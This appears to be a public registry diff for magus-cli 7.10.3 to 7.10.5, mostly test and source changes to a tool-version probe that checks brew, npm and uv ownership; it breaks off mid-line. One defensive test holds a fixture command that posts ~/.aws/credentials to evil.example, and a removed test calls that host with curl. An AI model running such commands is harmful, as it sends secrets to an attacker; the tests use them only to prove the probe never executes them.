magus-cli 7.10.3 → 7.10.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +4 -4
- package/src/__tests__/blackbox-convergence.test.ts +0 -1
- package/src/__tests__/blackbox-parity.test.ts +2 -2
- package/src/__tests__/blackbox-tool-state.test.ts +8 -18
- package/src/__tests__/blind/c14-cli-row-label.test.ts +8 -3
- package/src/__tests__/blind/c15-probe-ownership.test.ts +11 -11
- package/src/__tests__/blind/c16-probe-adopts-node-global.test.ts +16 -12
- package/src/__tests__/blind/c17-enter-label.test.ts +42 -7
- package/src/__tests__/blind/c18-probe-adopts-homebrew-keg.test.ts +36 -19
- package/src/__tests__/blind/c19-probe-owner-version-shadow.test.ts +38 -35
- package/src/__tests__/cli-tool-commands.test.ts +2 -2
- package/src/__tests__/cli-tool-external-row.test.tsx +112 -0
- package/src/__tests__/cli-tools-adapter.test.ts +32 -22
- package/src/__tests__/cli-update-view.test.ts +124 -51
- package/src/__tests__/fixtures/bins.ts +9 -2
- package/src/__tests__/npm-package-name.test.ts +3 -2
- package/src/__tests__/profile-worktree-include.test.ts +212 -0
- package/src/__tests__/tool-adopt-brew-owner.test.ts +167 -0
- package/src/__tests__/tool-probe.test.ts +231 -144
- package/src/__tests__/tool-rows-followups.test.ts +315 -0
- package/src/__tests__/tool-rows-reproduction.test.ts +630 -0
- package/src/__tests__/tool-versions.test.ts +164 -0
- package/src/__tests__/toolchain.test.ts +0 -2
- package/src/__tests__/update-plan.test.ts +40 -9
- package/src/cli/update-view.ts +180 -76
- package/src/cli/update.ts +44 -37
- package/src/data/cli-tools.ts +5 -10
- package/src/data/tool-versions.ts +137 -0
- package/src/services/cli-tool-commands.ts +1 -2
- package/src/services/cli-tool-version.ts +10 -88
- package/src/services/profile-activate.ts +9 -0
- package/src/services/profile-live.ts +26 -0
- package/src/services/profile-skills.ts +14 -4
- package/src/services/profile-state.ts +18 -0
- package/src/services/resolver.ts +9 -15
- package/src/services/tool-probe.ts +537 -691
- package/src/services/toolchain.ts +10 -4
- package/src/services/update-engine.ts +9 -15
- package/src/services/update-plan.ts +49 -21
- package/src/types/index.ts +0 -2
- package/src/ui/adapters/cliToolsAdapter.ts +31 -22
- package/src/ui/renderers/cliToolRenderers.tsx +15 -21
- package/src/ui/state/types.ts +0 -1
- package/src/__tests__/blind/c9-cli-tool-version.test.ts +0 -239
|
@@ -23,7 +23,6 @@ import {
|
|
|
23
23
|
type FetchJsonResult,
|
|
24
24
|
type ToolFacts,
|
|
25
25
|
type ToolProbeIO,
|
|
26
|
-
brewKegVersion,
|
|
27
26
|
classifyTool,
|
|
28
27
|
compareToolVersions,
|
|
29
28
|
detectInstallMethods,
|
|
@@ -35,7 +34,6 @@ import {
|
|
|
35
34
|
parsePipxListJson,
|
|
36
35
|
parseUvReceipt,
|
|
37
36
|
parseUvToolList,
|
|
38
|
-
parseVersionToken,
|
|
39
37
|
probeTool,
|
|
40
38
|
probeTools,
|
|
41
39
|
specForCatalogTool,
|
|
@@ -226,7 +224,7 @@ describe("classifyTool — every rule of §4.3, in order", () => {
|
|
|
226
224
|
);
|
|
227
225
|
});
|
|
228
226
|
|
|
229
|
-
test("6.
|
|
227
|
+
test("6. another owner → external / installed-elsewhere, with no note", () => {
|
|
230
228
|
const s = classifyTool(
|
|
231
229
|
spec({ name: "crush" }),
|
|
232
230
|
facts({
|
|
@@ -234,27 +232,30 @@ describe("classifyTool — every rule of §4.3, in order", () => {
|
|
|
234
232
|
behind: true,
|
|
235
233
|
resolvedPath:
|
|
236
234
|
"/Users/j/.nvm/versions/node/v24.14.0/lib/node_modules/@charmland/crush/run-crush.js",
|
|
237
|
-
owner: "npm (root /Users/j/.local/lib/node_modules)",
|
|
238
235
|
}),
|
|
239
236
|
);
|
|
240
|
-
expect(s).toMatchObject({
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
expect(
|
|
247
|
-
classifyTool(spec(), facts({ managed: null, behind: true })),
|
|
248
|
-
).toMatchObject({ state: "unknown", reason: "not-managed" });
|
|
237
|
+
expect(s).toMatchObject({
|
|
238
|
+
state: "external",
|
|
239
|
+
reason: "installed-elsewhere",
|
|
240
|
+
target: null,
|
|
241
|
+
});
|
|
242
|
+
expect(s.note).toBeUndefined();
|
|
249
243
|
});
|
|
250
244
|
|
|
251
|
-
test("6.
|
|
252
|
-
const
|
|
253
|
-
spec(
|
|
254
|
-
facts({
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
245
|
+
test("6. managed === null (owner undeterminable) is a veto: unknown / owner-unknown, no path", () => {
|
|
246
|
+
const s = classifyTool(
|
|
247
|
+
spec(),
|
|
248
|
+
facts({
|
|
249
|
+
managed: null,
|
|
250
|
+
behind: true,
|
|
251
|
+
resolvedPath: "/usr/local/bin/tool",
|
|
252
|
+
failure: "brew timed out after 8s",
|
|
253
|
+
}),
|
|
254
|
+
);
|
|
255
|
+
expect(s).toMatchObject({ state: "unknown", reason: "owner-unknown" });
|
|
256
|
+
expect(s.note).toBe(
|
|
257
|
+
"could not tell which installer owns it (brew timed out after 8s)",
|
|
258
|
+
);
|
|
258
259
|
});
|
|
259
260
|
|
|
260
261
|
test("7. held back → unknown, with the hold as the note", () => {
|
|
@@ -332,13 +333,13 @@ describe("classifyTool — every rule of §4.3, in order", () => {
|
|
|
332
333
|
).toMatchObject({ state: "unknown", reason: "unorderable" });
|
|
333
334
|
});
|
|
334
335
|
|
|
335
|
-
test("M3: pinned ∧ foreign ∧ behind the pin →
|
|
336
|
+
test("M3: pinned ∧ foreign ∧ behind the pin → external, never an upgrade", () => {
|
|
336
337
|
expect(
|
|
337
338
|
classifyTool(
|
|
338
339
|
spec({ version: "2.0.0" }),
|
|
339
340
|
facts({ installed: "1.0.0", managed: false }),
|
|
340
341
|
),
|
|
341
|
-
).toMatchObject({ state: "
|
|
342
|
+
).toMatchObject({ state: "external", reason: "installed-elsewhere" });
|
|
342
343
|
});
|
|
343
344
|
|
|
344
345
|
test("M3: pinned ∧ foreign ∧ at the pin → at-pin (no work, ownership irrelevant)", () => {
|
|
@@ -357,12 +358,12 @@ describe("classifyTool — every rule of §4.3, in order", () => {
|
|
|
357
358
|
).toBe("up-to-date");
|
|
358
359
|
});
|
|
359
360
|
|
|
360
|
-
test("every
|
|
361
|
+
test("every unknown or upgrade state carries a note (external carries none, see 6)", () => {
|
|
361
362
|
const cases: Array<[Partial<BinRequirement>, Partial<ToolFacts>]> = [
|
|
362
363
|
[{}, { installed: null }],
|
|
363
364
|
[{ version: "2" }, { installed: "x" }],
|
|
364
365
|
[{ version: "2.0.0" }, { installed: "3.0.0" }],
|
|
365
|
-
[{}, { managed:
|
|
366
|
+
[{}, { managed: null }],
|
|
366
367
|
[{}, { heldBack: "held by brew pin" }],
|
|
367
368
|
[{ via: "brew", version: "9.0.0" }, { installed: "1.0.0" }],
|
|
368
369
|
[{ version: "9.0.0" }, { installed: "1.0.0" }],
|
|
@@ -372,7 +373,7 @@ describe("classifyTool — every rule of §4.3, in order", () => {
|
|
|
372
373
|
];
|
|
373
374
|
for (const [s, f] of cases) {
|
|
374
375
|
const status = classifyTool(spec(s), facts(f));
|
|
375
|
-
expect(["unknown", "upgrade"
|
|
376
|
+
expect(["unknown", "upgrade"]).toContain(status.state);
|
|
376
377
|
expect(status.note?.length ?? 0).toBeGreaterThan(0);
|
|
377
378
|
}
|
|
378
379
|
});
|
|
@@ -439,33 +440,14 @@ describe("parsers — against captured real output", () => {
|
|
|
439
440
|
expect(parseBrewOutdatedJson("", "tmux")).toBeNull();
|
|
440
441
|
});
|
|
441
442
|
|
|
442
|
-
test("brew list --versions
|
|
443
|
-
expect(parseBrewListVersions(fixture("brew-list-versions-tmux.txt"))).toBe(
|
|
444
|
-
"3.7c",
|
|
445
|
-
);
|
|
446
|
-
expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toBe("3.7c");
|
|
447
|
-
expect(parseBrewListVersions("")).toBeNull();
|
|
443
|
+
test("brew list --versions: every kept version", () => {
|
|
448
444
|
expect(
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
expect(
|
|
456
|
-
brewKegVersion(
|
|
457
|
-
"/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
|
|
458
|
-
"/opt/homebrew/Cellar",
|
|
459
|
-
"gemini-cli",
|
|
460
|
-
),
|
|
461
|
-
).toBe("0.46.0");
|
|
462
|
-
expect(
|
|
463
|
-
brewKegVersion(
|
|
464
|
-
"/opt/homebrew/Cellar/tmux-extra/1/bin/x",
|
|
465
|
-
"/opt/homebrew/Cellar",
|
|
466
|
-
"tmux",
|
|
467
|
-
),
|
|
468
|
-
).toBeNull();
|
|
445
|
+
parseBrewListVersions(fixture("brew-list-versions-tmux.txt")),
|
|
446
|
+
).toEqual(["3.7c"]);
|
|
447
|
+
expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toEqual(["3.7b", "3.7c"]);
|
|
448
|
+
expect(parseBrewListVersions("jq 1.8.2_1\n")).toEqual(["1.8.2_1"]);
|
|
449
|
+
expect(parseBrewListVersions("")).toEqual([]);
|
|
450
|
+
expect(parseBrewListVersions("tmux\n")).toEqual([]);
|
|
469
451
|
});
|
|
470
452
|
|
|
471
453
|
test("uv tool list: packages, not executables; normalised keys", () => {
|
|
@@ -576,14 +558,6 @@ describe("parsers — against captured real output", () => {
|
|
|
576
558
|
expect(parsePipxListJson(null).size).toBe(0);
|
|
577
559
|
});
|
|
578
560
|
|
|
579
|
-
test("parseVersionToken: the first version-like token", () => {
|
|
580
|
-
expect(parseVersionToken("tmux 3.7c")).toBe("3.7c");
|
|
581
|
-
expect(parseVersionToken("2.1.268 (Claude Code)")).toBe("2.1.268");
|
|
582
|
-
expect(parseVersionToken("tmux-mcp v2.0.0\n")).toBe("2.0.0");
|
|
583
|
-
expect(parseVersionToken("codex-cli 0.153.2")).toBe("0.153.2");
|
|
584
|
-
expect(parseVersionToken("built 2026, 3 files")).toBeNull();
|
|
585
|
-
});
|
|
586
|
-
|
|
587
561
|
test("PEP 503 normalisation", () => {
|
|
588
562
|
expect(normalizePythonPackageName("Browser_Use")).toBe("browser-use");
|
|
589
563
|
expect(normalizePythonPackageName("a.-_b")).toBe("a-b");
|
|
@@ -633,9 +607,8 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
633
607
|
name: "claude",
|
|
634
608
|
via: "npm",
|
|
635
609
|
package: "@anthropic-ai/claude-code",
|
|
636
|
-
check: "claude --version",
|
|
637
610
|
});
|
|
638
|
-
const f = await probeTool(s, io
|
|
611
|
+
const f = await probeTool(s, io);
|
|
639
612
|
expect(f).toMatchObject({
|
|
640
613
|
present: true,
|
|
641
614
|
managed: true,
|
|
@@ -683,16 +656,19 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
683
656
|
expect(io.calls).toEqual([]);
|
|
684
657
|
});
|
|
685
658
|
|
|
686
|
-
test("brew-owned gemini-cli:
|
|
659
|
+
test("brew-owned gemini-cli: brew lists it, PATH runs that version, brew's own verdict", async () => {
|
|
687
660
|
const io = fakeIO({
|
|
688
|
-
env: { HOMEBREW_PREFIX: "/opt/homebrew" },
|
|
689
661
|
onPath: { gemini: "/opt/homebrew/bin/gemini" },
|
|
690
662
|
real: {
|
|
691
663
|
"/opt/homebrew/bin/gemini":
|
|
692
|
-
"/opt/homebrew/Cellar/gemini-cli/0.46.0/
|
|
693
|
-
"/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
|
|
664
|
+
"/opt/homebrew/Cellar/gemini-cli/0.46.0/bin/gemini",
|
|
694
665
|
},
|
|
695
666
|
exec: {
|
|
667
|
+
"brew list --versions gemini-cli": { stdout: "gemini-cli 0.46.0\n" },
|
|
668
|
+
"brew list gemini-cli": {
|
|
669
|
+
stdout: "/opt/homebrew/Cellar/gemini-cli/0.46.0/bin/gemini\n",
|
|
670
|
+
},
|
|
671
|
+
"gemini --version": { stdout: "0.46.0\n" },
|
|
696
672
|
"brew outdated --json=v2 gemini-cli": {
|
|
697
673
|
stdout: fixture("brew-outdated-tmux-current.txt"),
|
|
698
674
|
},
|
|
@@ -710,19 +686,24 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
710
686
|
|
|
711
687
|
test("V5 baseline: tmux (brew, current) is CURRENT, not an upgrade", async () => {
|
|
712
688
|
const io = fakeIO({
|
|
713
|
-
env: { HOMEBREW_PREFIX: "/opt/homebrew" },
|
|
714
689
|
onPath: { tmux: "/opt/homebrew/bin/tmux" },
|
|
715
690
|
real: {
|
|
716
691
|
"/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
|
|
717
|
-
"/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
|
|
718
692
|
},
|
|
719
693
|
exec: {
|
|
694
|
+
"brew list --versions tmux": {
|
|
695
|
+
stdout: fixture("brew-list-versions-tmux.txt"),
|
|
696
|
+
},
|
|
697
|
+
"brew list tmux": {
|
|
698
|
+
stdout: "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux\n",
|
|
699
|
+
},
|
|
700
|
+
"tmux -V": { stdout: "tmux 3.7c\n" },
|
|
720
701
|
"brew outdated --json=v2 tmux": {
|
|
721
702
|
stdout: fixture("brew-outdated-tmux-current.txt"),
|
|
722
703
|
},
|
|
723
704
|
},
|
|
724
705
|
});
|
|
725
|
-
const s = spec({ name: "tmux", via: "brew"
|
|
706
|
+
const s = spec({ name: "tmux", via: "brew" });
|
|
726
707
|
expect(classifyTool(s, await probeTool(s, io))).toMatchObject({
|
|
727
708
|
state: "current",
|
|
728
709
|
reason: "up-to-date",
|
|
@@ -730,25 +711,145 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
730
711
|
});
|
|
731
712
|
});
|
|
732
713
|
|
|
714
|
+
test("a brew formula magus has no version command for: brew's single version stands", async () => {
|
|
715
|
+
const io = fakeIO({
|
|
716
|
+
onPath: { testball: "/opt/homebrew/bin/testball" },
|
|
717
|
+
real: {
|
|
718
|
+
"/opt/homebrew/bin/testball":
|
|
719
|
+
"/opt/homebrew/Cellar/testball/0.0.1_2/bin/testball",
|
|
720
|
+
},
|
|
721
|
+
exec: {
|
|
722
|
+
"brew list --versions testball": { stdout: "testball 0.0.1_2\n" },
|
|
723
|
+
"brew list testball": {
|
|
724
|
+
stdout: "/opt/homebrew/Cellar/testball/0.0.1_2/bin/testball\n",
|
|
725
|
+
},
|
|
726
|
+
"brew outdated --json=v2 testball": {
|
|
727
|
+
stdout: '{"formulae":[],"casks":[]}',
|
|
728
|
+
},
|
|
729
|
+
},
|
|
730
|
+
});
|
|
731
|
+
const s = spec({ name: "testball", via: "brew" });
|
|
732
|
+
const f = await probeTool(s, io);
|
|
733
|
+
expect(f).toMatchObject({ managed: true, installed: "0.0.1" });
|
|
734
|
+
// Several kept versions: brew cannot say which is linked — never guessed.
|
|
735
|
+
const io2 = fakeIO({
|
|
736
|
+
onPath: { testball: "/opt/homebrew/bin/testball" },
|
|
737
|
+
real: {
|
|
738
|
+
"/opt/homebrew/bin/testball":
|
|
739
|
+
"/opt/homebrew/Cellar/testball/0.0.2/bin/testball",
|
|
740
|
+
},
|
|
741
|
+
exec: {
|
|
742
|
+
"brew list --versions testball": { stdout: "testball 0.0.1 0.0.2\n" },
|
|
743
|
+
"brew list testball": {
|
|
744
|
+
stdout: "/opt/homebrew/Cellar/testball/0.0.2/bin/testball\n",
|
|
745
|
+
},
|
|
746
|
+
"brew outdated --json=v2 testball": {
|
|
747
|
+
stdout: '{"formulae":[],"casks":[]}',
|
|
748
|
+
},
|
|
749
|
+
},
|
|
750
|
+
});
|
|
751
|
+
const g = await probeTool(s, io2);
|
|
752
|
+
expect(g).toMatchObject({ managed: true, installed: null });
|
|
753
|
+
expect(io2.calls).not.toContain("testball --version");
|
|
754
|
+
});
|
|
755
|
+
|
|
733
756
|
test("a brew pin holds a behind formula back", async () => {
|
|
734
757
|
const outdated = fixture("brew-outdated-behind-homebrew-spec.txt").replace(
|
|
735
758
|
'"pinned": false',
|
|
736
759
|
'"pinned": true',
|
|
737
760
|
);
|
|
738
761
|
const io = fakeIO({
|
|
739
|
-
env: { HOMEBREW_PREFIX: "/opt/homebrew" },
|
|
740
762
|
onPath: { testball: "/opt/homebrew/bin/testball" },
|
|
741
763
|
real: {
|
|
742
764
|
"/opt/homebrew/bin/testball":
|
|
743
765
|
"/opt/homebrew/Cellar/testball/0.0.1/bin/testball",
|
|
744
|
-
"/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
|
|
745
766
|
},
|
|
746
|
-
exec: {
|
|
767
|
+
exec: {
|
|
768
|
+
"brew list --versions testball": { stdout: "testball 0.0.1\n" },
|
|
769
|
+
"brew list testball": {
|
|
770
|
+
stdout: "/opt/homebrew/Cellar/testball/0.0.1/bin/testball\n",
|
|
771
|
+
},
|
|
772
|
+
"brew outdated --json=v2 testball": { stdout: outdated },
|
|
773
|
+
},
|
|
747
774
|
});
|
|
748
775
|
const s = spec({ name: "testball", via: "brew" });
|
|
749
776
|
expect(classifyTool(s, await probeTool(s, io)).reason).toBe("held-back");
|
|
750
777
|
});
|
|
751
778
|
|
|
779
|
+
// brew exits 1 for "not installed" AND for nearly every error. Measured: a
|
|
780
|
+
// formula brew does not have is silent on both streams; an untapped tap
|
|
781
|
+
// prints `Error: No available formula …` on stderr. Only silence is "no".
|
|
782
|
+
test("brew exit 1, silent: brew does not have it → installed elsewhere", async () => {
|
|
783
|
+
const io = fakeIO({
|
|
784
|
+
onPath: { jq: "/usr/local/bin/jq" },
|
|
785
|
+
real: { "/usr/local/bin/jq": "/usr/local/bin/jq" },
|
|
786
|
+
exec: {
|
|
787
|
+
"brew list --versions jq": { code: 1, stdout: "", stderr: "" },
|
|
788
|
+
"jq --version": { stdout: "jq-1.8.2\n" },
|
|
789
|
+
},
|
|
790
|
+
});
|
|
791
|
+
const s = spec({ name: "jq", via: "brew" });
|
|
792
|
+
const f = await probeTool(s, io);
|
|
793
|
+
expect(f.managed).toBe(false);
|
|
794
|
+
expect(classifyTool(s, f).state).toBe("external");
|
|
795
|
+
});
|
|
796
|
+
|
|
797
|
+
test("brew exit 1 with an Error: owner unknown, the failure says brew reported an error, never its stderr", async () => {
|
|
798
|
+
const error =
|
|
799
|
+
'Error: No available formula with the name "someone/tap/claudish".';
|
|
800
|
+
const io = fakeIO({
|
|
801
|
+
onPath: { claudish: "/usr/local/bin/claudish" },
|
|
802
|
+
real: { "/usr/local/bin/claudish": "/usr/local/bin/claudish" },
|
|
803
|
+
exec: {
|
|
804
|
+
"brew list --versions someone/tap/claudish": {
|
|
805
|
+
code: 1,
|
|
806
|
+
stdout: "",
|
|
807
|
+
stderr: `${error}\nPlease tap it and then try again: brew tap someone/tap\n`,
|
|
808
|
+
},
|
|
809
|
+
"claudish --version": { stdout: "claudish version 10.4.1\n" },
|
|
810
|
+
},
|
|
811
|
+
});
|
|
812
|
+
const s = spec({
|
|
813
|
+
name: "claudish",
|
|
814
|
+
via: "brew",
|
|
815
|
+
formula: "someone/tap/claudish",
|
|
816
|
+
});
|
|
817
|
+
const f = await probeTool(s, io);
|
|
818
|
+
expect(f).toMatchObject({
|
|
819
|
+
managed: null,
|
|
820
|
+
failure: "brew reported an error",
|
|
821
|
+
});
|
|
822
|
+
expect(classifyTool(s, f)).toMatchObject({
|
|
823
|
+
state: "unknown",
|
|
824
|
+
reason: "owner-unknown",
|
|
825
|
+
note: "could not tell which installer owns it (brew reported an error)",
|
|
826
|
+
});
|
|
827
|
+
});
|
|
828
|
+
|
|
829
|
+
test("brew installed, the tool's version unreadable, and brew gives no verdict: the note says so once", async () => {
|
|
830
|
+
const io = fakeIO({
|
|
831
|
+
onPath: { tmux: "/opt/homebrew/bin/tmux" },
|
|
832
|
+
real: {
|
|
833
|
+
"/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
|
|
834
|
+
},
|
|
835
|
+
exec: {
|
|
836
|
+
"brew list --versions tmux": { stdout: "tmux 3.7c\n" },
|
|
837
|
+
"brew list tmux": {
|
|
838
|
+
stdout: "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux\n",
|
|
839
|
+
},
|
|
840
|
+
"tmux -V": { stdout: "tmux master\n" },
|
|
841
|
+
"brew outdated --json=v2 tmux": { code: 1, stderr: "Error: boom\n" },
|
|
842
|
+
},
|
|
843
|
+
});
|
|
844
|
+
const s = spec({ name: "tmux", via: "brew" });
|
|
845
|
+
const status = classifyTool(s, await probeTool(s, io));
|
|
846
|
+
expect(status).toMatchObject({
|
|
847
|
+
state: "unknown",
|
|
848
|
+
reason: "version-unreadable",
|
|
849
|
+
note: "installed, but its version could not be read (brew reported an error)",
|
|
850
|
+
});
|
|
851
|
+
});
|
|
852
|
+
|
|
752
853
|
test("crush under nvm while PATH's npm writes elsewhere: managed through --prefix", async () => {
|
|
753
854
|
const prefix = "/Users/j/.nvm/versions/node/v24.14.0";
|
|
754
855
|
const pkgDir = `${prefix}/lib/node_modules/@charmland/crush`;
|
|
@@ -768,7 +869,7 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
768
869
|
},
|
|
769
870
|
});
|
|
770
871
|
const s = spec({ name: "crush", via: "npm", package: "@charmland/crush" });
|
|
771
|
-
const f = await probeTool(s, io
|
|
872
|
+
const f = await probeTool(s, io);
|
|
772
873
|
expect(f).toMatchObject({
|
|
773
874
|
managed: true,
|
|
774
875
|
installed: "0.7.1",
|
|
@@ -839,23 +940,13 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
839
940
|
expect(io.fetches).toEqual([]);
|
|
840
941
|
});
|
|
841
942
|
|
|
842
|
-
test("a check command
|
|
843
|
-
|
|
844
|
-
|
|
845
|
-
|
|
846
|
-
|
|
847
|
-
|
|
848
|
-
|
|
849
|
-
allowCheckCommand: true,
|
|
850
|
-
});
|
|
851
|
-
expect(f.installed).toBeNull();
|
|
852
|
-
expect(io.calls).toEqual(["npm root -g"]);
|
|
853
|
-
});
|
|
854
|
-
|
|
855
|
-
test("a check command is NEVER run while planning, whatever it says", async () => {
|
|
856
|
-
// `check` is copied verbatim from a marketplace plugin.json, and the
|
|
857
|
-
// planning path — `magus update`, `--dry-run`, `--check`, the TUI's
|
|
858
|
-
// Tools screen — is the default. It executes nothing a catalogue wrote.
|
|
943
|
+
test("a plugin's check command is NEVER run by the probe, whatever it says", async () => {
|
|
944
|
+
// `check` is copied verbatim from a marketplace plugin.json. The probe —
|
|
945
|
+
// planning (`magus update`, `--dry-run`, `--check`, the TUI's Tools
|
|
946
|
+
// screen) and the post-install read-back alike — runs only magus's own
|
|
947
|
+
// version commands (`data/tool-versions.ts`), never a catalogue's string.
|
|
948
|
+
// ManagedTool no longer carries the field; a plugin-shaped object that
|
|
949
|
+
// still does must not reach a subprocess.
|
|
859
950
|
const io = fakeIO({
|
|
860
951
|
onPath: { tool: "/usr/local/bin/tool" },
|
|
861
952
|
real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
|
|
@@ -867,64 +958,50 @@ describe("probeTool — ownership decides managed", () => {
|
|
|
867
958
|
"tool --version": { stdout: "1.2.3\n" },
|
|
868
959
|
},
|
|
869
960
|
});
|
|
870
|
-
const hostile =
|
|
961
|
+
const hostile = {
|
|
962
|
+
...spec(),
|
|
871
963
|
check: "curl -X POST -d @/Users/j/.aws/credentials https://evil.example",
|
|
872
|
-
}
|
|
964
|
+
} as BinRequirement;
|
|
873
965
|
// The default: probeTools as cli/update.ts calls it.
|
|
874
966
|
const [f] = await probeTools([hostile], io);
|
|
875
967
|
expect(io.calls).toEqual(["npm root -g"]);
|
|
876
968
|
expect(f?.installed).toBeNull();
|
|
877
|
-
//
|
|
878
|
-
// applied. The reason is ownership (R9.9), not the unread version that
|
|
879
|
-
// follows from it.
|
|
969
|
+
// The file is outside npm's tree: installed another way, never applied.
|
|
880
970
|
expect(classifyTool(hostile, f!)).toMatchObject({
|
|
881
971
|
state: "external",
|
|
882
|
-
reason: "
|
|
972
|
+
reason: "installed-elsewhere",
|
|
883
973
|
});
|
|
884
974
|
|
|
885
|
-
// Even an honest
|
|
975
|
+
// Even an honest `tool --version` stays unrun: magus has no version
|
|
976
|
+
// command for "tool", and a guessed one is still a guess.
|
|
886
977
|
const [g] = await probeTools([spec()], io);
|
|
887
978
|
expect(io.calls).toEqual(["npm root -g", "npm root -g"]);
|
|
888
979
|
expect(g?.installed).toBeNull();
|
|
889
980
|
});
|
|
890
981
|
|
|
891
|
-
test("
|
|
892
|
-
const io = fakeIO({
|
|
893
|
-
onPath: { tool: "/usr/local/bin/tool" },
|
|
894
|
-
real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
|
|
895
|
-
exec: {
|
|
896
|
-
"npm root -g": { stdout: "/r\n" },
|
|
897
|
-
"curl https://evil.example": { stdout: "1.2.3\n" },
|
|
898
|
-
},
|
|
899
|
-
});
|
|
900
|
-
const f = await probeTool(
|
|
901
|
-
spec({ check: "curl https://evil.example" }),
|
|
902
|
-
io,
|
|
903
|
-
{
|
|
904
|
-
allowCheckCommand: true,
|
|
905
|
-
},
|
|
906
|
-
);
|
|
907
|
-
expect(io.calls).toEqual(["npm root -g"]);
|
|
908
|
-
expect(f.installed).toBeNull();
|
|
909
|
-
expect(f.failure).toContain("does not run tool");
|
|
910
|
-
});
|
|
911
|
-
|
|
912
|
-
test("opted in, the tool's own path is accepted as argv[0]", async () => {
|
|
982
|
+
test("magus's own version command runs when the installer's record is silent", async () => {
|
|
913
983
|
const io = fakeIO({
|
|
914
|
-
onPath: {
|
|
915
|
-
real: { "/usr/local/bin/
|
|
984
|
+
onPath: { codex: "/usr/local/bin/codex" },
|
|
985
|
+
real: { "/usr/local/bin/codex": "/opt/pkg/codex/bin/codex" },
|
|
916
986
|
exec: {
|
|
917
987
|
"npm root -g": { stdout: "/r\n" },
|
|
918
|
-
"
|
|
988
|
+
"codex --version": { stdout: "codex-cli 0.153.2\n" },
|
|
919
989
|
},
|
|
920
990
|
});
|
|
921
991
|
const f = await probeTool(
|
|
922
|
-
spec({
|
|
992
|
+
spec({ name: "codex", package: "@openai/codex" }),
|
|
923
993
|
io,
|
|
924
|
-
{ allowCheckCommand: true },
|
|
925
994
|
);
|
|
926
|
-
expect(f.installed).toBe("
|
|
927
|
-
expect(f.sources).toContain("
|
|
995
|
+
expect(f.installed).toBe("0.153.2");
|
|
996
|
+
expect(f.sources).toContain("version-command");
|
|
997
|
+
// argv[0] is the bare name PATH resolves — never a path. npm does not
|
|
998
|
+
// have it, so Homebrew is asked too (merged design: another installer
|
|
999
|
+
// magus drives may own it); brew is absent here, so nothing is adopted.
|
|
1000
|
+
expect(io.calls).toEqual([
|
|
1001
|
+
"npm root -g",
|
|
1002
|
+
"brew list --versions codex",
|
|
1003
|
+
"codex --version",
|
|
1004
|
+
]);
|
|
928
1005
|
});
|
|
929
1006
|
});
|
|
930
1007
|
|
|
@@ -1018,7 +1095,8 @@ describe("probeTools — uv", () => {
|
|
|
1018
1095
|
state: "unknown",
|
|
1019
1096
|
reason: "latest-unavailable",
|
|
1020
1097
|
});
|
|
1021
|
-
expect(mcp.note).toContain("
|
|
1098
|
+
expect(mcp.note).toContain("uv reported an error");
|
|
1099
|
+
expect(mcp.note).not.toContain("Failed to fetch index");
|
|
1022
1100
|
});
|
|
1023
1101
|
|
|
1024
1102
|
test("an older uv that rejects --outdated falls back to PyPI per tool", async () => {
|
|
@@ -1114,12 +1192,17 @@ describe("probeTools — uv", () => {
|
|
|
1114
1192
|
}),
|
|
1115
1193
|
);
|
|
1116
1194
|
const s = pip("aider", { package: "aider-chat" });
|
|
1117
|
-
const f = await probeTool(s, io
|
|
1118
|
-
|
|
1119
|
-
|
|
1120
|
-
//
|
|
1195
|
+
const f = await probeTool(s, io);
|
|
1196
|
+
// uv keeps no record of a file it did not install, and magus has no
|
|
1197
|
+
// version command for aider (its output was never captured): no version,
|
|
1198
|
+
// and none is guessed — `aider --version` is not run.
|
|
1199
|
+
expect(f).toMatchObject({ managed: true, installed: null });
|
|
1200
|
+
expect(io.calls).not.toContain("aider --version");
|
|
1201
|
+
expect(classifyTool(s, f).reason).toBe("version-unreadable");
|
|
1202
|
+
// The adoption is a FACT, said in the user's terms: no path.
|
|
1121
1203
|
expect(f.sources).toContain("uv-adopted");
|
|
1122
|
-
expect(f.adopted).toContain(
|
|
1204
|
+
expect(f.adopted).toContain("uv takes it over");
|
|
1205
|
+
expect(f.adopted).not.toContain("/");
|
|
1123
1206
|
});
|
|
1124
1207
|
|
|
1125
1208
|
test("an adopted tool's UPGRADE says the owner changes", async () => {
|
|
@@ -1130,7 +1213,6 @@ describe("probeTools — uv", () => {
|
|
|
1130
1213
|
uvSetup([], {
|
|
1131
1214
|
onPath: { aider: `${UV_BIN}/aider` },
|
|
1132
1215
|
real: { [`${UV_BIN}/aider`]: "/Users/j/.local/pipx/venvs/aider/x" },
|
|
1133
|
-
exec: { "aider --version": { stdout: "aider 0.80.0\n" } },
|
|
1134
1216
|
fetch: {
|
|
1135
1217
|
"https://pypi.org/pypi/aider-chat/json": {
|
|
1136
1218
|
ok: true,
|
|
@@ -1140,10 +1222,13 @@ describe("probeTools — uv", () => {
|
|
|
1140
1222
|
}),
|
|
1141
1223
|
);
|
|
1142
1224
|
const s = pip("aider", { package: "aider-chat" });
|
|
1143
|
-
|
|
1225
|
+
// The probe supplies the adoption; the version is supplied here, because
|
|
1226
|
+
